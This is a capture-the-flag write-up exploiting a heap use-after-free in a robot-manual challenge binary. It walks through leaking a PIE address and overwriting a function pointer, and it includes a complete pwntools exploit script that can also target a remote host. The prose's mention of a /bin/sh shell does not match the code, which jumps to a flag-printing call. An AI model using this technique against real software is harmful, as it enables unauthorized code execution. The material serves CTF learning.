Intro
So, first in first what does we have to do ? After a fast analyse of the source code we can see that the function who's interesting is admin
:
void admin(char *pwd)
{
unsigned char hash[SHA256_DIGEST_LENGTH];
char result[65];
SHA256((const unsigned char *) pwd, strlen(pwd), hash);
for (int i = 0; i < SHA256_DIGEST_LENGTH; i++) {
sprintf(result + (i * 2), "%02x", hash[i]);
}
if (rstcmp(result, encrypted) == 0) {
execl("/bin/cat", "/bin/cat", "flag.txt", NULL);
perror("execl");
exit(2);
} else {
puts("ERROR: wrong password!");
}
}
it's a comparaison between our input hashed and a predefined hash, we don't are in a crypto chall so we don't care about that, our objective is to jump directly to the execl to print the flag.
Exploitation
Actual situation
Now it's exploit time ! In first we can see that when a user create a robot, this robot is stored in the heap, to do this the program alloc a struct
called robot
who contains one chars of 16bytes and two pointers so the chunk allocated will be of 32bytes
other interesting things is that when we read the manual the program will read the 32bits of the first chunk stored !
Exploit - leak
So now, we can understand how we are going to exploit this thing !
In first we going to allocate a first chunk by create a new robot so the heap will look like this:
+--------------------+
| HEAP |
+--------------------+
| name[16] |
| *bleep | 32 bytes
| *rool |
+--------------------+
So if we free the chunk and then create a new manuel, malloc will allocate the manuel into our older freed chunk were we have the metadata of the chunk with an address to leak the PIE
Exploit - CE
To gain a RCE we'll overwrite the pointers of the function bleep and replace it with the execl
function, with this we can call execl
with /bin/sh
as parameter and get a shell
firstly we're going to create a new robot so the freed chunk will be realocated
and we create a new manuel and write 16 bytes and then the execl
function address, to rewrite the bleep pointer
+--------------------+
| HEAP |
+--------------------+
| name[16] |
| *execl | 32 bytes
| *roll |
+--------------------+
then we trigger the bleep
function by typing 2 and tada ! we got our flag !
Exploitation - exploit
#!/bin/python
from pwn import *
from sys import argv
def recv_header(io):
io.recvline()
for i in range(4):
io.recvline()
def create(io, data="Botman"):
recv_header(io)
io.sendline(b'1')
io.sendlineafter(b"> Comment vous l'appelez ?\n", data)
io.recvline()
io.recvline()
return 'robot created'
def manuel(io, data="data"):
recv_header(io)
io.sendline(b'4')
io.sendlineafter(b"Vous commencez \xc3\xa0 r\xc3\xa9diger le mode d'emploi...\n", data)
io.recvline()
return 'manuel created'
def delete(io):
recv_header(io)
io.sendline(b'3')
for i in range(3):
io.recvline()
return 'robot deleted'
def show(io):
recv_header(io)
io.sendline(b'2')
return io.recvline()
def read(io):
recv_header(io)
io.sendline(b"5")
io.recvline()
return io.recvline()
def exploit(io, elf):
create(io, b"A"*16)
delete(io)
manuel(io, b"A"*16)
leak = read(io)
leak = leak[leak.index(b'\xfc'):][:-2]
hex_values = [hex(byte)[2:].zfill(2) for byte in leak if byte != 0]
hex_string = bytes.fromhex((''.join(hex_values)))[:8][::-1]
hex_int = int.from_bytes(hex_string, 'big')
leak = int(f'0x0000{hex_int:012x}', 16)
flag = leak + 0x180
print("leak :" + hex(leak))
print("flag :" + hex(flag))
create(io, b"A"*16)
delete(io)
manuel(io, b"A"*16 + p64(flag))
print(show(io))
if __name__ == "__main__":
usage = '''
usage: ./exploit.py [binary] ?debug
./exploit.py remote [binary] [ip] [port] ?debug
./exploit.py [binary] ?gdb [command]
default command = 'continue'
'''
if len(argv) <= 1:
print('error: no arguments specified\n'+usage)
exit(0)
elif len(argv) <= 5 and argv[1] != 'remote':
context.binary = elf = ELF(argv[1])
context.terminal = ["tmux", "splitw", '-h']
p = process()
if "gdb" in argv: gdb.attach(p, argv[-1]) if argv[-1] != 'gdb' else gdb.attach(p, 'continue')
if "debug" in argv: context.log_level = "DEBUG"
exploit(p,elf)
elif len(argv) <= 6 and argv[1] == "remote":
context.binary = elf = ELF(argv[2])
p = remote(argv[3], int(argv[4]))
if "debug" in argv: context.log_level = "DEBUG"
exploit(p, elf)
elif len(argv) > 5:
print('error: too much params specified\n' + usage)
exit(0)
elif len(argv) <= 3:
print('error: you forgot ip or/and port\n' + usage)
exit(0)
else:
print(usage)